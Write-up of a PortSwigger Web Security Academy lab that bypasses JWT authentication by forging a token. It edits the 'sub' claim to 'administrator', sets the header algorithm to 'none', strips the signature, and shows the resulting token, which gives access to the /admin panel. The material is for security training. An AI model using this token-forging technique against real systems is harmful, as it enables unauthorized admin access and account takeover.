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# JWT Authentication Bypass via Flawed Signature Verification
JWT Authentication Bypass via Flawed Signature Verification notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation co
### JWT Authentication Bypass via Flawed Signature Verification
**Lab Background**
This lab uses **JSON Web Tokens (JWT)** to manage user sessions. / The server configuration is incorrect: it \*\* accepts unsigned JWT\*\*, allowing falsifying a valid token without owning the private key.
**Objective:**
* Edit session JWT to access `/admin` administration panel
* Delete user **carlos**
**Provided credentials:**
* User: `wiener`
* Password: `peter`
\*\* Initial JWT analysis\*\*
After login, a JWT session cookie is provided:
```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTU3Niwic3ViIjoid2llbmVyIn0.CDQZmT-cC5Oa1A4yVjgEu1HVYC_J7aZ_Utfjkbdy8D0frSJVeZygaS82Frj4ZI6q8a0XGgvDE1NEJ1TQdnrJ2WSFRWoew7Nen9FJe1X_Rz2nHVKCA5kk30Kx2xB9BQ6ij-wbQLLcZkPV4CqklQ51CwPwrxCfPzpGXxCGOhjOvfYTeZzmKrskOzTG1Ikk3rv4JGWY1GKATeRXuZgbIUxG4QsHS7bDOzcUCuhUiUj4uu4gWE2FvZFLpnbNC1VvtUyq37Qqrqo78IomtnA3pe6e285IzkIr8IK-iiLVvkV4q2pTDI4-FIaMsaqMvyLvBWqsHMR-OXL4MJZMQho0E1Cdtw
```
* **Header**: `RS256` algorithm
* **Payload**: `wiener` user
* **Signature**: original and valid
**Payload Modification**
The goal is to pretend to be an administrator. / The `sub` field is modified in the payload:
```json
{
"iss": "portswigger",
"exp": 1767531576,
"sub": "administrator"
}
```
**Exploitation of incorrect verification**
The server accepts JWT with `none` algorithm. / The **header** is then modified:
```json
{
"kid": "ae2a1871-902d-46a7-aab8-f9558bb0e64e",
"alg": "none"
}
```
Next:
* The signature is completely deleted\*\*
* Final JWT ends with one point (`.`)
{% code overflow="wrap" %}
```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMjI2NSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
```
{% endcode %}
**Result**
* Server \*\* accepts unsigned JWT\*\*
* Access to `/admin` panel is allowed
* User **carlos** may be deleted
---
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